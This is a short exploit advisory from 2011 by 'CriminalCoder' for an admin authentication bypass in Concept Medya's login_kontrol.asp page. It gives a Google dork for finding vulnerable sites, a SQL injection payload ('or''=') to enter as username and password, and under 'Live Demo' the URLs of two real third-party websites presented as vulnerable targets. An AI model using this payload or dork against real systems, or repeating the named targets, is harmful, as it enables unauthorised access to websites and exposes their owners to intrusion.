Concept Medya SQL Injection

`# Exploit Title: Concept Medya Admin Auth ByPass  
# Date: 13 June 2011  
# Author: CriminalCoder  
# Category: webapps  
# Google dork: inurl:login_kontrol.asp  
# Tested on: Windows Xp SP3  
# Home: spyroot.in & rootarea.com  
  
[+] Default admin panel : http://localhost/login_kontrol.asp  
  
[+] ByPass the admin auth by using   
  
Username : 'or''='Password : 'or''='  
  
  
[+] Live Demo ;  
  
[+] http://www.yesilmeninsaat.com/login_kontrol.asp[+] http://www.davedgroup.com/login_kontrol.asp  
  
Greetz; NosLeeP++ - Redd.é - SanaLTahriP - TechnicaL - TheMirkin   
`